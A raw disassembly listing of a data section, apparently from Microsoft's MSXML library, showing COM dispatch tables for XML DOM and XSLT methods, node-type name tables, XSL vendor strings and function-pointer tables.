off_69B98ECC dd offset dword_69B25E04 ; DATA XREF: sub_69B43784+Ar
dd offset libID
dd 1
dd offset off_69B98E28
dd 5
dd offset dword_69B98E9C+4
dd 5
dd offset sub_69B4034F
dword_69B98EEC dd 8, 9, 8, 2 dup(80008h), 3 ; .data:69B98FD4o ...
off_69B98F04 dd offset dword_69B25E54 ; DATA XREF: .data:69B98FD8o
off_69B98F08 dd offset aGetnameditem ; DATA XREF: .data:69B99058o
; "getNamedItem"
dd 53h, 1
dd offset dword_69B98EEC
dd 0
dd 10009h
dd offset aGetqualifiedit ; "getQualifiedItem"
dd 57h, 2
dd offset dword_69B98EEC+0Ch
dd 0
dd 10009h
dd offset aItem ; "item"
align 10h
dd 1
dd offset dword_69B98EEC+14h
dd 0
dd 30009h
dd offset aLength ; "length"
dd 4Ah, 3 dup(0)
dd 20003h
dd offset aNextnode ; "nextNode"
dd 59h, 3 dup(0)
dd 30009h
dd offset aRemovenamedite ; "removeNamedItem"
dd 55h, 1
dd offset dword_69B98EEC+8
dd 0
dd 10009h
dd offset aRemovequalifie ; "removeQualifiedItem"
dd 58h, 2
dd offset dword_69B98EEC+10h
dd 0
dd 10009h
dd offset aReset ; "reset"
dd 5Ah, 3 dup(0)
dd 3000Ah
dd offset aSetnameditem ; "setNamedItem"
dd 54h, 1
dd offset dword_69B98EEC+4
dd offset off_69B98F04
dd 10009h
dd offset a_newenum ; "_newEnum"
dd 0FFFFFFFCh, 3 dup(0)
dword_69B98FF4 dd 3000Dh, 0FFFFFFFCh, 9, 0 dd 2, 4Ah, 3, 53h, 0
dd 54h, 8, 55h, 5, 57h, 1, 58h, 6, 59h, 4, 5Ah, 7
dword_69B99048 dd 0 ; sub_69B43B76+Eo ...
off_69B9904C dd offset dword_69B43530 ; DATA XREF: sub_69B437A5+Ar
dd offset libID
dd 1
dd offset off_69B98F08
dd 0Ah
dd offset dword_69B98FF4+4
dd 0Ah
dd offset sub_69B403EC
dword_69B9906C dd 0 off_69B99070 dd offset sub_69B248A8 ; DATA XREF: sub_69B457EC+Er
dd offset libID
dd 1, 5 dup(0)
dword_69B99090 dd 0 off_69B99094 dd offset dword_69B44038 ; DATA XREF: sub_69B4580E+Ar
dd offset libID
dd 1, 5 dup(0)
dword_69B990B4 dd 0 off_69B990B8 dd offset dword_69B24898 ; DATA XREF: sub_69B4582F+Er
dd offset libID
dd 1, 5 dup(0)
dword_69B990D8 dd 0Ch, 8080008h, 0Ch, 0C0008h, 808h, 80009h ; .data:69B991B4o ...
off_69B990F0 dd offset dword_69B2AFE0 ; DATA XREF: .data:69B99110o
align 8
dword_69B990F8 dd 9 off_69B990FC dd offset dword_69B25E54 ; DATA XREF: .data:69B99200o
off_69B99100 dd offset aAddobject ; DATA XREF: .data:69B99290o
; "addObject"
dd 0Ch, 2
dd offset dword_69B990D8+14h
dd offset off_69B990F0
dd 10018h
dd offset aAddparameter ; "addParameter"
dd 0Bh, 3
dd offset dword_69B990D8+0Ch
dd 0
dd 10018h
dd offset aInput ; "input"
dd 2, 1
dd offset dword_69B990D8
dd 0
dd 6000Ch
dd offset aOutput ; "output"
dd 7, 1
dd offset dword_69B990D8+8
dd 0
dd 6000Ch
dd offset aOwnertemplate ; "ownerTemplate"
dd 3, 3 dup(0)
dd 20009h
dd offset aReadystate ; "readyState"
dd 0Ah, 3 dup(0)
dd 20003h
dd offset aReset ; "reset"
dd 9, 3 dup(0)
dd 30018h
dd offset aSetstartmode ; "setStartMode"
dd 4, 2
dd offset dword_69B990D8+4
dd 0
dd 10018h
dd offset aStartmode ; "startMode"
dd 5, 3 dup(0)
dd 20008h
dd offset aStartmodeuri ; "startModeURI"
dd 6, 3 dup(0)
dd 20008h
dd offset aStylesheet_0 ; "stylesheet"
dd 0Dh, 1
dd offset dword_69B990F8
dd offset off_69B990FC
dd 20009h
dd offset aTransform ; "transform"
dd 8, 3 dup(0)
dword_69B9921C dd 3000Bh, 2 dup(2), 3, 2 dup(4), 7, 5, 8, 6, 9, 7, 3
; DATA XREF: .data:69B99298o
dd 8, 0Bh, 9, 6, 0Ah, 5, 0Bh, 1, 0Ch, 0
dd 0Dh, 0Ah
dword_69B99280 dd 0 ; sub_69B469E4+20o ...
off_69B99284 dd offset dword_69B25D14 ; DATA XREF: sub_69B470AF+Ar
dd offset libID
dd 1
dd offset off_69B99100
dd 0Ch
dd offset dword_69B9921C+4
dd 0Ch
dd offset sub_69B4644B
align 8
; LPCSTR lpMultiByteStr
lpMultiByteStr dd offset aElement_1 ; DATA XREF: sub_69B47CF1+Dr
; sub_69B48307+2Cr ...
; "ELEMENT"
dd offset dword_69B282AC+1Ch
dd offset dword_69B282AC+14h
dd offset dword_69B282AC+8
dd offset dword_69B282AC+4
dd offset dword_69B282AC
dd offset aCdata_4 ; "CDATA"
dd offset aEntity_2 ; "ENTITY"
dd offset aNotation_2 ; "NOTATION"
dd offset aElementdecl ; "ELEMENTDECL"
dd offset aNamespace_1 ; "NAMESPACE"
dd offset aEntityref ; "ENTITYREF"
dd offset aWhitespace ; "WHITESPACE"
dd offset aIncludesection ; "INCLUDESECTION"
dd offset aIgnoresection ; "IGNORESECTION"
dd offset aAttribute_0 ; "ATTRIBUTE"
dd offset aTypedvalue ; "TYPEDVALUE"
dd offset aDocfrag ; "DOCFRAG"
dd offset aXmldecl ; "XMLDECL"
align 8
; LPCWSTR lpString
lpString dd 0 ; DATA XREF: sub_69B4BAA7+2Br
align 10h
dd offset asc_69B28210 ; "--"
dd 2 dup(0)
dd offset a? ; "?>"
dd offset asc_69B772AC ; "]]>"
dd 0Dh dup(0)
dword_69B99348 dd 0 dd 1, 2, 3, 4, 5, 6, 7, 8, 2 dup(0FFFFFFFFh), 0Bh, 3 dup(0FFFFFFFFh)
dd 0Fh, 0FFFFFFFFh, 3, 5
byte_69B99394 db 0 ; DATA XREF: sub_69B4ADB4:loc_69B4ADF9r
db 3 dup(1)
dd 2 dup(1010101h), 5 dup(0)
dd 1000000h, 1, 0
dword_69B993C0 dd 1Fh ; sub_69B4F0B4+53r
dword_69B993C4 dd 0E0h, 6Fh, 25h, 0B2h, 0E4h, 2Fh, 27h, 2 dup(1Fh), 28h
dd 2 dup(1Fh), 101h, 106h, 1Fh, 2, 2Bh, 101h, 2 dup(1)
dd 6 dup(1Fh), 6, 3, 8, 9, 8, 0C0008h, 9
off_69B99448 dd offset dword_69B25E54 ; DATA XREF: .data:69B99478o
off_69B9944C dd offset dword_69B25E54 ; DATA XREF: .data:69B994F0o
off_69B99450 dd offset aClone ; DATA XREF: .data:69B99620o
; "clone"
dd 57h, 3 dup(0)
dd 10009h
dd offset aContext ; "context"
dd 52h, 1
dd offset dword_69B993C4+74h
dd offset off_69B99448
dd 0A0009h
dd offset aExpr ; "expr"
dd 51h, 1
dd offset dword_69B993C4+70h
dd 0
dd 60008h
dd offset aGetproperty ; "getProperty"
dd 58h, 1
dd offset dword_69B993C4+78h
dd 0
dd 1000Ch
dd offset aItem ; "item"
align 8
dd 1
dd offset dword_69B993C4+6Ch
dd 0
dd 30009h
dd offset aLength ; "length"
dd 4Ah, 3 dup(0)
dd 20003h
dd offset aMatches ; "matches"
dd 54h, 1
dd offset dword_69B993C4+80h
dd offset off_69B9944C
dd 10009h
dd offset aNextnode ; "nextNode"
dd 4Ch, 3 dup(0)
dd 10009h
dd offset aPeeknode ; "peekNode"
dd 53h, 3 dup(0)
dd 10009h
dd offset aRemoveall ; "removeAll"
dd 56h, 3 dup(0)
dd 1000Ah
dd offset aRemovenext ; "removeNext"
dd 55h, 3 dup(0)
dd 10009h
dd offset aReset ; "reset"
dd 4Dh, 3 dup(0)
dd 1000Ah
dd offset aSetproperty ; "setProperty"
dd 59h, 2
dd offset dword_69B993C4+7Ch
dd 0
dd 1000Ah
dd offset a_newenum ; "_newEnum"
dd 0FFFFFFFCh, 3 dup(0)
dword_69B9959C dd 3000Dh, 0FFFFFFFCh, 0Dh, 0 dd 4, 4Ah, 5, 4Ch, 7, 4Dh, 0Bh, 51h, 2, 52h, 1, 53h, 8
dd 54h, 6, 55h, 0Ah, 56h, 9, 57h, 0
dd 58h, 3, 59h, 0Ch
dword_69B99610 dd 0 ; sub_69B43A23+Eo ...
off_69B99614 dd offset dword_69B54F48 ; DATA XREF: sub_69B437C6+Ar
dd offset libID
dd 1
dd offset off_69B99450
dd 0Eh
dd offset dword_69B9959C+4
dd 0Eh
dd offset sub_69B54B94
dword_69B99634 dd 9, 4 dup(8), 80008h, 3 dup(8), 8000Ch, 2 dup(8), 0Ch
; DATA XREF: .data:69B997D4o
; .data:69B99744o ...
dd 0Bh, 8, 0Ch, 3 dup(0Bh), 4 dup(0Ch), 0C0008h, 8
off_69B99698 dd offset dword_69B25DD4 ; DATA XREF: .data:69B997D8o
align 10h
off_69B996A0 dd offset dword_69B25E24 ; DATA XREF: .data:69B99958o
align 8
off_69B996A8 dd offset aAbort ; DATA XREF: sub_69B56828+22o
; sub_69B56F58+35o ...
; "abort"
dd 3Eh, 3 dup(0)
dd 3000Ah
dd offset aAsync ; "async"
dd 3Dh, 1
dd offset dword_69B99634+34h
dd 0
dd 6000Bh
dd offset aCreateattribut ; "createAttribute"
dd 2Fh, 1
dd offset dword_69B99634+18h
dd 0
dd 10009h
dd offset aCreatecdatasec ; "createCDATASection"
dd 2Dh, 1
dd offset dword_69B99634+10h
dd 0
dd 10009h
dd offset aCreatecomment ; "createComment"
dd 2Ch, 1
dd offset dword_69B99634+0Ch
dd 0
dd 10009h
dd offset aCreatedocument ; "createDocumentFragment"
dd 2Ah, 3 dup(0)
dd 30009h
dd offset aCreateelement ; "createElement"
dd 29h, 1
dd offset dword_69B99634+4
dd 0
dd 10009h
dd offset aCreateentityre ; "createEntityReference"
dd 31h, 1
dd offset dword_69B99634+1Ch
dd 0
dd 10009h
dd offset aCreatenode ; "createNode"
dd 36h, 3
dd offset dword_69B99634+24h
dd 0
dd 10009h
dd offset aCreateprocessi ; "createProcessingInstruction"
dd 2Eh, 2
dd offset dword_69B99634+14h
dd 0
dd 10009h
dd offset aCreatetextnode ; "createTextNode"
dd 2Bh, 1
dd offset dword_69B99634+8
dd 0
dd 10009h
dd offset aDoctype_2 ; "doctype"
dd 26h, 3 dup(0)
dd 20009h
dd offset aDocumentelemen ; "documentElement"
dd 28h, 1
dd offset dword_69B99634
dd offset off_69B99698
dd 0A0009h
dd offset aGetelementsbyt ; "getElementsByTagName"
dd 32h, 1
dd offset dword_69B99634+20h
dd 0
dd 10009h
dd offset aGetproperty ; "getProperty"
dd 0CDh, 1
dd offset dword_69B99634+60h
dd 0
dd 1000Ch
dd offset aImplementation ; "implementation"
dd 27h, 3 dup(0)
dd 20009h
dd offset aLoad ; "load"
dd 3Ah, 1
dd offset dword_69B99634+30h
dd 0
dd 1000Bh
dd offset aLoadxml ; "loadXML"
dd 3Fh, 1
dd offset dword_69B99634+38h
dd 0
dd 1000Bh
dd offset aNamespaces ; "namespaces"
dd 0C9h, 3 dup(0)
dd 20009h
dd offset aNodefromid ; "nodeFromID"
dd 38h, 1
dd offset dword_69B99634+2Ch
dd 0
dd 10009h
dd offset aOndataavaila_0 ; "ondataavailable"
dd 45h, 1
dd offset dword_69B99634+50h
dd 0
dd 4000Ah
dd offset aOnreadystatech ; "onreadystatechange"
dd 44h, 1
dd offset dword_69B99634+4Ch
dd 0
dd 4000Ah
dd offset aOntransformnod ; "ontransformnode"
dd 46h, 1
dd offset dword_69B99634+54h
dd 0
dd 4000Ah
dd offset aParseerror ; "parseError"
dd 3Bh, 3 dup(0)
dd 20009h
dd offset aPreservewhites ; "preserveWhiteSpace"
dd 43h, 1
dd offset dword_69B99634+48h
dd 0
dd 6000Bh
dd offset aReadystate ; "readyState"
dd 0FFFFFDF3h, 3 dup(0)
dd 20003h
dd offset aResolveexterna ; "resolveExternals"
dd 42h, 1
dd offset dword_69B99634+44h
dd 0
dd 6000Bh
dd offset aSave ; "save"
dd 40h, 1
dd offset dword_69B99634+3Ch
dd 0
dd 1000Ah
dd offset aSchemas ; "schemas"
dd 0CAh, 1
dd offset dword_69B99634+58h
dd offset off_69B996A0
dd 0E0009h
dd offset aSetproperty ; "setProperty"
dd 0CCh, 2
dd offset dword_69B99634+5Ch
dd 0
dd 1000Ah
dd offset aUrl ; "url"
dd 3Ch, 3 dup(0)
dd 20008h
dd offset aValidate ; "validate"
dd 0CBh, 3 dup(0)
dd 10009h
dd offset aValidateonpars ; "validateOnParse"
dd 41h, 1
dd offset dword_69B99634+40h
dd 0
dword_69B999BC dd 6000Bh, 0FFFFFDF3h, 19h, 26h, 0Bh, 27h, 0Fh, 28h, 0Ch
; DATA XREF: .data:69B99AE0o
dd 29h, 6, 2Ah, 5, 2Bh, 0Ah, 2Ch, 4, 2Dh, 3, 2Eh, 9, 2Fh
dd 2, 31h, 7, 32h, 0Dh, 36h, 8, 38h, 13h, 3Ah, 10h, 3Bh
dd 17h, 3Ch, 1Eh, 3Dh, 1, 3Eh, 0
dd 3Fh, 11h, 40h, 1Bh, 41h, 20h, 42h, 1Ah, 43h, 18h, 44h
dd 15h, 45h, 14h, 46h, 16h, 0C9h, 12h, 0CAh, 1Ch, 0CBh
dd 1Fh, 0CCh, 1Dh, 0CDh, 0Eh
dword_69B99AC8 dd 0 ; sub_69B592AC+7o
off_69B99ACC dd offset dword_69B25E14 ; DATA XREF: sub_69B592AC+Er
dd offset libID
dd 1
dd offset off_69B996A8
dd 21h
dd offset dword_69B999BC+4
dd 21h
dd offset sub_69B56912
align 10h
off_69B99AF0 dd offset aDocument_0 ; DATA XREF: sub_69B57908+A4o
; sub_69B57908+A9r
; "document"
dd 9
dd offset aElement ; "element"
dd 1
dd offset aAttribute ; "attribute"
dd 2
dd offset aPi ; "pi"
dd 7
dd offset aProcessinginst ; "processinginstruction"
dd 7
dd offset aComment ; "comment"
dd 8
dd offset aText ; "text"
dd 3
dd offset aCdata ; "cdata"
dd 4
dd offset aCdatasection ; "cdatasection"
dd 4
dd offset aDocumentfragme ; "documentfragment"
dd 0Bh
dd offset aEntity_0 ; "entity"
dd 6
dd offset aEntityreferenc ; "entityreference"
dd 5
dd offset aDocumenttype ; "documenttype"
dd 0Ah
dd offset aNotation_0 ; "notation"
dd 0Ch, 2 dup(0)
; int dword_69B99B68
dword_69B99B68 dd 0FFFFFFFFh align 10h
dd 0Fh, 1, 6, 0Bh, 7, 5, 2, 3, 4, 11h, 8
dword_69B99B9C dd 0 ; sub_69B5A094+Eo ...
off_69B99BA0 dd offset dword_69B25E54+10h ; DATA XREF: sub_69B5A04C+Ar
dd offset libID
dd 1, 5 dup(0)
off_69B99BC0 dd offset aErrorcode ; DATA XREF: .data:69B99CB0o
; "errorCode"
dd 4 dup(0)
dd 20003h
dd offset aFilepos ; "filepos"
dd 0B8h, 3 dup(0)
dd 20003h
dd offset aLine ; "line"
dd 0B6h, 3 dup(0)
dd 20003h
dd offset aLinepos ; "linepos"
dd 0B7h, 3 dup(0)
dd 20003h
dd offset aReason ; "reason"
dd 0B4h, 3 dup(0)
dd 20008h
dd offset aSrctext ; "srcText"
dd 0B5h, 3 dup(0)
dd 20008h
dd offset aUrl ; "url"
dd 0B3h, 3 dup(0)
dword_69B99C64 dd 20008h, 2 dup(0) dd 0B3h, 6, 0B4h, 4, 0B5h, 5, 0B6h, 2, 0B7h, 3, 0B8h, 1
dword_69B99CA0 dd 0 ; sub_69B5A802+Eo ...
off_69B99CA4 dd offset dword_69B25D34+10h ; DATA XREF: sub_69B5A7AC+Ar
dd offset libID
dd 1
dd offset off_69B99BC0
dd 7
dd offset dword_69B99C64+4
dd 7
dd offset sub_69B5A188
; LPCWSTR off_69B99CC4
off_69B99CC4 dd offset dword_69B122A4 ; DATA XREF: sub_69B5AA95+4r
dword_69B99CC8 dd 27h dd 26h
; OLECHAR aOndataavailabl
aOndataavailabl: ; DATA XREF: sub_69B5D25C+25o
unicode 0, <ondataavailable>,0
dd 3 dup(0)
; LPCWSTR off_69B99CFC
off_69B99CFC dd offset aReadystate ; DATA XREF: sub_69B5CF5F+3r
; "readyState"
dword_69B99D00 dd 0 ; sub_69B648DC+3Dr ...
dd 0Eh, 13h, 1Eh, 12h, 1, 2 dup(0)
off_69B99D20 dd offset sub_69B63E46 ; DATA XREF: sub_69B642AB+97r
; sub_69B644A4+35r ...
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E5E
dd offset sub_69B64131
dd offset sub_69B63E46
dd offset sub_69B63E46
dd offset sub_69B63E46
dd offset sub_69B644A4
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B63E46
dd offset sub_69B64154
dd offset sub_69B644A4
dd offset sub_69B63E46
dd offset sub_69B644A4
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B63E46
dd offset sub_69B644F1
dd offset sub_69B64179
dd offset sub_69B63E46
dd offset sub_69B644A4
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B63E46
dd offset sub_69B63E46
dd offset sub_69B63E46
dd offset sub_69B6424B
dd offset sub_69B644A4
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B644F1
dd offset sub_69B644F1
dd offset sub_69B644F1
dd offset sub_69B644F1
dd offset sub_69B6496E
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B64951
dd offset sub_69B64951
dd offset sub_69B64951
dd offset sub_69B64951
dd offset sub_69B64951
dd offset sub_69B64951
align 8
off_69B99DE8 dd offset sub_69B63E46 ; DATA XREF: sub_69B642AB+7Cr
; sub_69B6453E+3Br
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E52
dd offset sub_69B63E5E
dd offset sub_69B64131
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B647C0
dd offset sub_69B63E5E
dd offset sub_69B64591
dd offset sub_69B64154
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B64179
dd offset sub_69B6453E
dd offset sub_69B6453E
dd offset sub_69B6476C
dd offset sub_69B63E5E
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B6424B
dd offset sub_69B6453E
dd offset sub_69B648DC
dd offset sub_69B63E5E
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B64591
dd offset sub_69B6536A
dd offset sub_69B647E4
dd offset sub_69B63E5E
dd offset sub_69B64800
dd offset sub_69B64951
dd offset sub_69B647A4
dd offset sub_69B64951
dd offset sub_69B64788
dd offset sub_69B64824
align 10h
off_69B99EB0 dd offset nullsub_3 ; DATA XREF: sub_69B64008+15r
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset sub_69B64C44
dd offset sub_69B64DB5
dd offset sub_69B64EA6
dd offset sub_69B65070
dd offset sub_69B65152
dd offset sub_69B652C2
dd offset nullsub_3
dd offset sub_69B64C74
dd offset sub_69B64C44
dd offset sub_69B64EF0
dd offset sub_69B650A9
dd offset sub_69B651D1
dd offset sub_69B653A0
dd offset nullsub_3
dd offset sub_69B64CA4
dd offset sub_69B64DEC
dd offset sub_69B64C44
dd offset sub_69B650E5
dd offset sub_69B65227
dd offset sub_69B653BD
dd offset nullsub_3
dd offset sub_69B64D0D
dd offset sub_69B64E20
dd offset sub_69B64F3E
dd offset sub_69B64C44
dd offset sub_69B6527E
dd offset sub_69B653DA
dd offset sub_69B64C5A
dd offset sub_69B64D43
dd offset sub_69B64E66
dd offset sub_69B64F86
dd offset sub_69B6511B
dd offset sub_69B64C44
dd offset sub_69B652F7
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset sub_69B64C44
align 8
off_69B99F78 dd offset nullsub_3 ; DATA XREF: sub_69B64008+23r
; sub_69B6453E+21r ...
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
off_69B99F94 dd offset nullsub_3 ; DATA XREF: sub_69B647C0+9r
; sub_69B64800+9r
dd offset sub_69B64C44
dd offset sub_69B64DB5
dd offset sub_69B64EA6
dd offset sub_69B65070
dd offset sub_69B651A7
dd offset sub_69B652C2
dd offset nullsub_3
dd offset sub_69B64C74
dd offset sub_69B64C44
dd offset sub_69B64EF0
dd offset sub_69B650A9
dd offset sub_69B651D1
dd offset sub_69B653A0
off_69B99FCC dd offset nullsub_3 ; DATA XREF: sub_69B642AB+47r
; sub_69B642AB+55r ...
dd offset sub_69B64CD8
dd offset sub_69B64DEC
dd offset sub_69B64C44
dd offset sub_69B650E5
dd offset sub_69B65227
dd offset sub_69B653BD
dd offset nullsub_3
dd offset sub_69B64D0D
dd offset sub_69B64E20
dd offset sub_69B64F3E
dd offset sub_69B64C44
dd offset sub_69B6527E
dd offset sub_69B653DA
dd offset sub_69B64C5A
dd offset sub_69B64D89
dd offset sub_69B64E66
dd offset sub_69B64F86
dd offset sub_69B6511B
dd offset sub_69B64C44
dd offset sub_69B652F7
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset nullsub_3
dd offset sub_69B64C44
align 10h
dd 0FFFFFFFFh
dword_69B9A044 dd 0FFFFFFFFh ; sub_69B645E4+15Fr ...
dd 0FFFFFFFFh, 1, 3 dup(0)
dd 1, 0
dd 2 dup(1), 3 dup(0)
dd 2 dup(1), 0
dd 1, 0
dd 2 dup(1)
dword_69B9A094 dd 0 ; sub_69B645E4+28r ...
dd 0
dword_69B9A09C dd 0FFFFFFFFh dd 1, 2 dup(0)
dd 0FFFFFFFFh
word_69B9A0B0 dw 0 ; DATA XREF: sub_69B64A14+43r
align 4
dd 2 dup(50005h), 0
dw 8
dw 9
unicode 0, <>,0
db 0Bh,0
dd 0D0000h, 5, 4 dup(50005h)
dword_69B9A0E0 dd 0 dd 5, 0Bh dup(0)
dd 5, 1, 3, 3 dup(4), 2, 0Bh dup(3), 2 dup(4), 4 dup(3)
dd 2 dup(5), 0
word_69B9A180 dw 2Ch ; DATA XREF: sub_69B6699A+138r
align 4
word_69B9A184 dw 23h ; DATA XREF: sub_69B6699A+141r
align 4
word_69B9A188 dw 2Eh ; DATA XREF: sub_69B6699A+14Ar
align 4
word_69B9A18C dw 30h ; DATA XREF: sub_69B6699A+153r
align 10h
word_69B9A190 dw 25h ; DATA XREF: sub_69B6699A+15Cr
align 4
dword_69B9A194 dd 0 dd 2 dup(1), 3 dup(5), 2 dup(1), 3 dup(5), 3, 2 dup(5)
dd 0FFFFFFFFh
dword_69B9A1D0 dd 1 align 8
off_69B9A1D8 dd offset off_69B2972C ; DATA XREF: sub_69B6A68C+48r
; sub_69B6A68C+4Fo
dd offset dword_69B9B440
dd 1
dd offset off_69B2974C
dd offset dword_69B9B438
dd 1
dd offset off_69B29770
dd offset dword_69B9B430
dd 1
dd offset off_69B2978C
dd offset dword_69B9B428
dd 1
dd offset off_69B297B4
dd offset dword_69B9B420
dd 1
dd offset off_69B297EC
dd offset dword_69B9B418
dd 1
dd offset off_69B29810
dd offset dword_69B9B410
dd 1
dd offset off_69B29844
dd offset dword_69B9B408
dd 1
dd offset off_69B29864
dd offset dword_69B9B400
dd 1
dd offset off_69B29880
dd offset dword_69B9B3F8
dd 1
dd offset off_69B298A0
dd offset dword_69B9B3F0
dd 1
dd offset off_69B298BC
dd offset dword_69B9B3E8
dd 1
dd offset off_69B298D8
dd offset dword_69B9B3E0
dd 1
dd offset off_69B298F4
dd offset dword_69B9B3D8
dd 1
dd offset off_69B2990C
dd offset dword_69B9B3D0
dd 1
dd offset off_69B29924
dd offset dword_69B9B3C8
dd 1
dd offset off_69B2993C
dd offset dword_69B9B3C0
dd 1
dd offset off_69B29954
dd offset dword_69B9B3B8
dd 1
dd offset off_69B2996C
dd offset dword_69B9B3B0
dd 1
dd offset off_69B29984
dd offset dword_69B9B3A8
dd 1
dd offset off_69B2999C
dd offset dword_69B9B3A0
dd 1
dd offset off_69B299B4
dd offset dword_69B9B398
dd 1
dd offset off_69B299CC
dd offset dword_69B9B390
dd 1
dd offset off_69B299E4
dd offset dword_69B9B388
dd 1
dd offset off_69B29A04
dd offset dword_69B9B380
dd 1
dd offset off_69B29A24
dd offset dword_69B9B378
dd 1
dd offset off_69B29A40
dd offset dword_69B9B370
dd 1
dd offset off_69B29A5C
dd offset dword_69B9B368
dd 1
dd offset off_69B29A74
dd offset dword_69B9B360
dd 1
dd offset off_69B29A98
dd offset dword_69B9B358
dd 1
dd offset off_69B29AB8
dd offset dword_69B9B350
dd 1
dd offset off_69B29AD0
dd offset dword_69B9B348
dd 1
dd offset off_69B29AE8
dd offset dword_69B9B340
dd 1
dd offset off_69B29B0C
dd offset dword_69B9B338
dd 1
dd offset off_69B29B2C
dd offset dword_69B9B330
dd 0
dd offset off_69B6C658
dd offset dword_69B9B328
align 8
dd offset off_69B6C648
dd offset dword_69B9B320
dd 0
dd offset off_69B29B48
dd offset dword_69B9B318
align 10h
dd offset off_69B29B6C
dd offset dword_69B9B310
dd 1
dd offset off_69B29B98
dd offset dword_69B9B308
align 8
dd offset off_69B29BB0
dd offset dword_69B9B300
dd 1, 3 dup(0)
dbl_69B9A3D0 dq 1.0 ; DATA XREF: sub_69B6C1E9+F9r
dbl_69B9A3D8 dq 2.6 ; DATA XREF: sub_69B6C1E9+11Fr
off_69B9A3E0 dd offset aMicrosoft ; DATA XREF: sub_69B6C1E9+139r
; "Microsoft"
; LPCWSTR off_69B9A3E4
off_69B9A3E4 dd offset aHttpWww_micros ; DATA XREF: sub_69B6C1E9+153r
; "http://www.microsoft.com"
; LPCWSTR off_69B9A3E8
off_69B9A3E8 dd offset aXslVersion ; DATA XREF: sub_69B6C1E9+E7r
; "xsl:version"
; LPCWSTR off_69B9A3EC
off_69B9A3EC dd offset aMsxslVersion ; DATA XREF: sub_69B6C1E9:loc_69B6C2F6r
; "msxsl:version"
; LPCWSTR off_69B9A3F0
off_69B9A3F0 dd offset aXslVendor ; DATA XREF: sub_69B6C1E9:loc_69B6C310r
; "xsl:vendor"
; LPCWSTR off_69B9A3F4
off_69B9A3F4 dd offset aXslVendorUrl ; DATA XREF: sub_69B6C1E9:loc_69B6C32Ar
; "xsl:vendor-url"
dword_69B9A3F8 dd 0 dd 5, 0
dd 3, 5, 2 dup(3), 1, 5, 2 dup(3), 5, 0
; LPCWSTR off_69B9A42C
off_69B9A42C dd offset aYes ; DATA XREF: sub_69B6FF5F+7r
; sub_69B6FF5F+45r ...
; "yes"
; LPCWSTR off_69B9A430
off_69B9A430 dd offset aNo ; DATA XREF: sub_69B6FF5F:loc_69B6FF7Dr
; sub_69B6FF5F+36r ...
; "no"
; LPCWSTR off_69B9A434
off_69B9A434 dd offset aAscending ; DATA XREF: sub_69B6FF03:loc_69B6FF1Ar
; sub_69B6FF03+3Fr
; "ascending"
; LPCWSTR off_69B9A438
off_69B9A438 dd offset aDescending ; DATA XREF: sub_69B6FF03r
; sub_69B6FF03+30r
; "descending"
; LPCWSTR off_69B9A43C
off_69B9A43C dd offset aText ; DATA XREF: sub_69B6FFC1r
; sub_69B6FFC1+44r
; "text"
; LPCWSTR off_69B9A440
off_69B9A440 dd offset aNumber ; DATA XREF: sub_69B6FFC1:loc_69B6FFD8r
; sub_69B6FFC1+35r
; "number"
align 8
; LPCWSTR off_69B9A448
off_69B9A448 dd offset a1_0 ; DATA XREF: sub_69B6F483:loc_69B6F4FFr
; "1.0"
align 10h
off_69B9A450 dd offset off_69B29CEC ; DATA XREF: sub_69B6DF3C+B9o
dd offset dword_69B9B610
dd 1
dd offset off_69B29D10
dd offset dword_69B9B608
dd 1
dd offset off_69B29D2C
dd offset dword_69B9B600
dd 1
dd offset off_69B29D50
dd offset dword_69B9B5F8
dd 1
dd offset off_69B29D74
dd offset dword_69B9B5F0
dd 1
dd offset off_69B29DA4
dd offset dword_69B9B5E8
dd 1
dd offset off_69B29DC4
dd offset dword_69B9B5E0
dd 1
dd offset off_69B29DDC
dd offset dword_69B9B5D8
dd 1
dd offset off_69B29E00
dd offset dword_69B9B5D0
dd 1
dd offset off_69B29E1C
dd offset dword_69B9B5C8
dd 1
dd offset off_69B29E3C
dd offset dword_69B9B5C0
dd 1
dd offset off_69B29E60
dd offset dword_69B9B5B8
dd 1
dd offset off_69B29E80
dd offset dword_69B9B5B0
dd 1
dd offset off_69B29EA4
dd offset dword_69B9B5A8
dd 1
dd offset off_69B29EE4
dd offset dword_69B9B5A0
dd 1
dd offset off_69B29F00
dd offset dword_69B9B598
dd 1
dd offset off_69B29F1C
dd offset dword_69B9B590
dd 1
dd offset off_69B29F3C
dd offset dword_69B9B588
dd 1
dd offset off_69B29F60
dd offset dword_69B9B580
dd 1
dd offset off_69B29F7C
dd offset dword_69B9B578
dd 1
dd offset off_69B29FA4
dd offset dword_69B9B570
dd 1
dd offset off_69B29FC4
dd offset dword_69B9B568
dd 1
dd offset off_69B29FE4
dd offset dword_69B9B560
dd 1
dd offset off_69B2A01C
dd offset dword_69B9B558
dd 1
dd offset off_69B2A038
dd offset dword_69B9B550
dd 1
dd offset off_69B2A060
dd offset dword_69B9B548
dd 1
dd offset off_69B2A078
dd offset dword_69B9B540
dd 1
dd offset off_69B2A098
